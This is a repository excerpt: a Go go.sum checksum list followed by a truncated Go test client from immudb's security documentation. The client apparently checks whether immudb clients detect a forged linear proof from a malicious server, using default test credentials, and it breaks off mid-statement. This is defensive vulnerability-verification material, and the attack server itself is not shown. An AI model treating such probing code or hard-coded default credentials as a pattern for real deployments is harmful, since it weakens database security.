h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= google.golang.org/api v0.63.0/go.mod h1:gs4ij2ffTRXwuzzgJl/56BdwJaA194ijkfn++9tDuPo= google.golang.org/api v0.67.0/go.mod h1:ShHKP8E60yPsKNw/w8w+VYaj9H6buA5UqDp8dhbQZ6g= google.golang.org/api v0.70.0/go.mod h1:Bs4ZM2HGifEvXwd50TtW70ovgJffJYw2oRCOFU/SkfA= google.golang.org/api v0.71.0/go.mod h1:4PyU6e6JogV1f9eA4voyrTY2batOLdgZ5qZ5HOCc4j8= google.golang.org/api v0.74.0/go.mod h1:ZpfMZOVRMywNyvJFeqL9HRWBgAuRfSjJFpe9QtRRyDs= google.golang.org/api v0.75.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= google.golang.org/api v0.78.0/go.mod h1:1Sg78yoMLOhlQTeF+ARBoytAcH1NNyyl390YMy6rKmw= google.golang.org/api v0.81.0/go.mod h1:FA6Mb/bZxj706H2j+j2d6mHEEaHBmbbWnkfvmorOCko= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20180427144745-86e600f69ee4/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20181107211654-5fc9ac540362/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= google.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w= google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc= google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= gotest.tools/v3 v3.2.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= ================================================ FILE: docs/security/vulnerabilities/linear-fake/go/main.go ================================================ package main import ( "context" "fmt" "log" "os" "path/filepath" "strings" immudb "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/state" ) func verifyTxRead(client immudb.ImmuClient, txID uint64, stateService state.StateService) (string, error) { log.Printf("Reading Tx %d", txID) tx, err := client.VerifiedTxByID(context.Background(), txID) if err != nil { return "", err } log.Printf(" Keys from verified read:") key := "" for _, e := range tx.GetEntries() { key = string(e.GetKey()) log.Printf(" %s", key) } if len(tx.GetEntries()) != 1 { return "", fmt.Errorf( "Invalid test dataset - expected only a single key in transaction %d, found %d", txID, len(tx.GetEntries()), ) } err = stateService.CacheLock() if err != nil { return "", err } state, err := stateService.GetState(context.Background(), "defaultdb") if err != nil { return "", err } log.Print(" Client verified state:") log.Printf(" TxID: %d", state.TxId) log.Printf(" Hash: %x", state.TxHash) err = stateService.CacheUnlock() if err != nil { return "", err } return key, nil } func checkCorruptedErr(err error) bool { if err == nil { return false } if strings.Contains(err.Error(), "corrupted") { log.Print("SUCCESS: Client version not vulnerable") return true } log.Fatal(err) return false } func main() { opts := immudb.DefaultOptions(). WithAddress("localhost"). WithPort(3322) ctx := context.Background() // Remove any old state that could be problematic here, // The test needs to perform test starting with no state list, err := filepath.Glob(".state-*") if err != nil { log.Fatal(err) } for _, e := range list { err := os.Remove(e) if err != nil { log.Fatal(err) } } client := immudb.NewClient().WithOptions(opts) err = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { log.Fatal(err) } defer client.CloseSession(ctx) key2, err := verifyTxRead(client, 2, client.StateService) if err != nil { log.Fatal(err) } _, err = verifyTxRead(client, 3, client.StateService) if 